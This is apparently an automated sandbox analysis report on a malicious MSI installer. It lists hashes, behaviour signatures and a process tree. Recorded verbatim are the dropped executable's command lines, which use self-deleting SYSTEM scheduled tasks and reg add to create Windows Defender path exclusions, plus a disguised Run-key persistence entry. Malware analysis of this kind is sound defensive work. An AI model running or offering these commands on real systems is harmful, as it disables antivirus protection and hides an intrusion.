Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 11:14
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c009.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c009.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
23 signatures
150 seconds
General
- Target setup_n0c009.msi
- Size 7.1MB
- Sample260804-nb6a1aab48
- SHA256 c4ca153cdc3f284a127760327f0eb388c71e239a4262ed2f5c68bdee75257fc4
- MD5 744dbd6ddd20985893303dec9eb98caf
- SHA1 a0dd447f06559fa3345d98bc5464c42cace64df1
- SHA512 3bdbecccb1f8067e013d37989c838ee5f405f3a004219ed3e4f104800bd15dd6fb85e2962be55454035b6207d7ead0ef229157c30e35b18f38df980942060325
- SSDEEP 196608:QUTss0UBxNzE3NUsTsJtR4Jy4QrZ2Y9DCztRZvpNeX3Uay:QUTAg7gdUV2Jy4Qt2Y9DuP6HUr
- TLSH T1F376338669C47772C09FC7751A53626CB0293FC6FE624C07B9EAB6004AF372A54F2785
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation GSB6AY.exe - Executes dropped EXE 1 IoCs
pid Process 4020 GSB6AY.exe - Loads dropped DLL 2 IoCs
pid Process 1532 MsiExec.exe 4020 GSB6AY.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\yVdn7v\\GSB6AY.exe\"" GSB6AY.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 23 1532 MsiExec.exe 25 1532 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1860 cmd.exe 2776 cmd.exe 4720 cmd.exe 3968 cmd.exe 1468 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b GSB6AY.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\e588f3b.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI9054.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9101.tmp msiexec.exe File created C:\Windows\Installer\e588f3b.msi msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File created C:\Windows\Installer\e588f3d.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1768 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1568 cmd.exe 4892 cmd.exe 5008 cmd.exe 3308 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee28096e8f31db0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee28096e0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee28096e000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee28096e000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee28096e000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "858461CA6189ABC4897753F9AECDC835" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c009.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4308 schtasks.exe 2720 schtasks.exe 1376 schtasks.exe 3688 schtasks.exe 3032 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3996 msiexec.exe 3996 msiexec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 1532 MsiExec.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe 4020 GSB6AY.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1768 msiexec.exe Token: SeIncreaseQuotaPrivilege 1768 msiexec.exe Token: SeSecurityPrivilege 3996 msiexec.exe Token: SeCreateTokenPrivilege 1768 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1768 msiexec.exe Token: SeLockMemoryPrivilege 1768 msiexec.exe Token: SeIncreaseQuotaPrivilege 1768 msiexec.exe Token: SeMachineAccountPrivilege 1768 msiexec.exe Token: SeTcbPrivilege 1768 msiexec.exe Token: SeSecurityPrivilege 1768 msiexec.exe Token: SeTakeOwnershipPrivilege 1768 msiexec.exe Token: SeLoadDriverPrivilege 1768 msiexec.exe Token: SeSystemProfilePrivilege 1768 msiexec.exe Token: SeSystemtimePrivilege 1768 msiexec.exe Token: SeProfSingleProcessPrivilege 1768 msiexec.exe Token: SeIncBasePriorityPrivilege 1768 msiexec.exe Token: SeCreatePagefilePrivilege 1768 msiexec.exe Token: SeCreatePermanentPrivilege 1768 msiexec.exe Token: SeBackupPrivilege 1768 msiexec.exe Token: SeRestorePrivilege 1768 msiexec.exe Token: SeShutdownPrivilege 1768 msiexec.exe Token: SeDebugPrivilege 1768 msiexec.exe Token: SeAuditPrivilege 1768 msiexec.exe Token: SeSystemEnvironmentPrivilege 1768 msiexec.exe Token: SeChangeNotifyPrivilege 1768 msiexec.exe Token: SeRemoteShutdownPrivilege 1768 msiexec.exe Token: SeUndockPrivilege 1768 msiexec.exe Token: SeSyncAgentPrivilege 1768 msiexec.exe Token: SeEnableDelegationPrivilege 1768 msiexec.exe Token: SeManageVolumePrivilege 1768 msiexec.exe Token: SeImpersonatePrivilege 1768 msiexec.exe Token: SeCreateGlobalPrivilege 1768 msiexec.exe Token: SeBackupPrivilege 3796 vssvc.exe Token: SeRestorePrivilege 3796 vssvc.exe Token: SeAuditPrivilege 3796 vssvc.exe Token: SeBackupPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeBackupPrivilege 3828 srtasks.exe Token: SeRestorePrivilege 3828 srtasks.exe Token: SeSecurityPrivilege 3828 srtasks.exe Token: SeTakeOwnershipPrivilege 3828 srtasks.exe Token: SeBackupPrivilege 3828 srtasks.exe Token: SeRestorePrivilege 3828 srtasks.exe Token: SeSecurityPrivilege 3828 srtasks.exe Token: SeTakeOwnershipPrivilege 3828 srtasks.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe Token: SeTakeOwnershipPrivilege 3996 msiexec.exe Token: SeRestorePrivilege 3996 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1768 msiexec.exe 1768 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 3996 wrote to memory of 3828 3996 msiexec.exe 90 PID 3996 wrote to memory of 1532 3996 msiexec.exe 92 PID 4020 wrote to memory of 4720 4020 GSB6AY.exe 103 PID 4020 wrote to memory of 3968 4020 GSB6AY.exe 106 PID 4720 wrote to memory of 4308 4720 cmd.exe 108 PID 3968 wrote to memory of 2720 3968 cmd.exe 109 PID 4720 wrote to memory of 1936 4720 cmd.exe 110 PID 4720 wrote to memory of 4420 4720 cmd.exe 112 PID 3968 wrote to memory of 2940 3968 cmd.exe 113 PID 3968 wrote to memory of 216 3968 cmd.exe 115 PID 1568 wrote to memory of 3300 1568 cmd.exe 116 PID 4020 wrote to memory of 1468 4020 GSB6AY.exe 117 PID 1468 wrote to memory of 1376 1468 cmd.exe 120 PID 1468 wrote to memory of 2644 1468 cmd.exe 122 PID 1468 wrote to memory of 4732 1468 cmd.exe 125 PID 4892 wrote to memory of 1400 4892 cmd.exe 126 PID 4020 wrote to memory of 1860 4020 GSB6AY.exe 127 PID 1860 wrote to memory of 3688 1860 cmd.exe 129 PID 1860 wrote to memory of 3908 1860 cmd.exe 130 PID 1860 wrote to memory of 2280 1860 cmd.exe 132 PID 5008 wrote to memory of 632 5008 cmd.exe 134 PID 4020 wrote to memory of 2776 4020 GSB6AY.exe 135 PID 2776 wrote to memory of 3032 2776 cmd.exe 137 PID 2776 wrote to memory of 1576 2776 cmd.exe 138 PID 3308 wrote to memory of 4920 3308 cmd.exe 141 PID 2776 wrote to memory of 1096 2776 cmd.exe 142 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c009.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1768
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3828
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 5A3EA30420AEBF1F9C506A727DD3BF87 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1532
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3796
-
C:\Users\Public\yVdn7v\GSB6AY.exeC:\Users\Public\yVdn7v\GSB6AY.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yVdn7v\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yVdn7v\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4308
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1936
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2720
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2940
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1376
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2644
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3688
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3908
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2280
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3032
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1576
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1096
-
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3300
-
-
